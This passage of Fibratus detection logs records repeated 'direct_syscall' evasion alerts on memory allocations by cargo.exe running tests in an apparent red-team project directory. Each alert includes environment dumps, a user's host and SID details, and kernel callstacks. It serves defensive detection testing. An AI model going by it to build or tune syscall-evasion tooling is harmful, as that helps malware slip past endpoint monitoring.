POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902759 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9867879 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50f0000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902761 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9868114 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50ef000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows 